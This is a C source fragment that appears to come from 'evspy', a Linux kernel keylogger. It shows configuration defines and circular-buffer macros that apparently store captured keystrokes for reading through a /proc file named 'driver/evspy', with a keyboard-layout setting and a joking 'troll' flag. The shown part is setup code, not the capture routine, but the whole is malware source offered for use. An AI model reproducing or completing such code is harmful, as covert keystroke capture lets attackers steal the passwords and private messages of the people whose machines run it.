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#include <asm/page.h>
#include <linux/input.h>
#include "maps.h"
#define EVS_MAP map_es // change this to your keyboard layout
#define EVS_TROLL 1 // clear this if you're a serious guy
#define EVS_PROCNAME "driver/evspy" // virtual file within /proc
#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer
#define MIN(x, y) (x) < (y) ? (x) : (y)
/*
* If pointer is at the end of buffer, put it at the beginning.
* If not, simply add 1 to it.
*/
#define evs_incp(p) \
({ \
if (p == &buffer[EVS_BUFSIZE-1]) \
p = buffer; \
else \
p++; \
p; \
})
/*
* Same as evs_incp but backwards
*/
#define evs_decp(p) \
({ \
if (p == buffer) \
p = &buffer[EVS_BUFSIZE-1]; \
else \
p--; \
p; \
})
/*
* Insert character c where wrp is pointing and move it to the next char.
* If rdp == wrp, increase rdp too.
*/
#define evs_insert(c) \
({ \
*wrp = c; \
if (evs_incp(wrp) == rdp) \
evs_incp(rdp); \
})
/*
* Remove a character from the buffer
*/
#define evs_delete() \
({ \
if (wrp != rdp && evs_decp(wrp) == rdp) \
evs_decp(rdp); \
})
/*
* Is the c event code associated to any of the FX buttons?
*/
#define evs_isfX(c) \
({ \
(c >= KEY_F1 && c <= KEY_F10) || \
(c == KEY_F11 || c == KEY_F12) || \
(c >= KEY_F13 && c <= KEY_F24); \
})
// Event values
#define EVS_VAL_FREE 0
#define EVS_VAL_PRESS 1
#define EVS_VAL_HOLD 2
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